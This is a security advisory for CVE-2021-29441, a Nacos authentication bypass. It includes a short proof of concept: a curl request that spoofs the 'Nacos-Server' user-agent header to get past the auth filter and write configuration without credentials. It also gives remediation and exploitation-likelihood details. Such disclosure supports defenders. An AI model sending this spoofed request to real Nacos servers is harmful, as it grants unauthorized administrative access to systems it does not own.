CVE-2021-29441
Authentication Bypass
Description
When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed. The following request to the `configuration` endpoint gets rejected as we are not providing any credentials: ``` ❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" {"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"} ``` However the following one gets accepted by using the `Nacos-Server` user-agent header: ``` ❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" true ``` #### Impact This issue may allow any user to carry out any administrative tasks on the Nacos server.
How to fix CVE-2021-29441
To remediate CVE-2021-29441, upgrade the affected package to a fixed version below.
- —upgrade to 1.4.1 or later
Is CVE-2021-29441 being exploited?
Likely — EPSS is 93.9%, placing CVE-2021-29441 in the top tier of vulnerabilities by exploitation probability. Prioritise patching.
Affected packages (1)
- from 0, < 1.4.1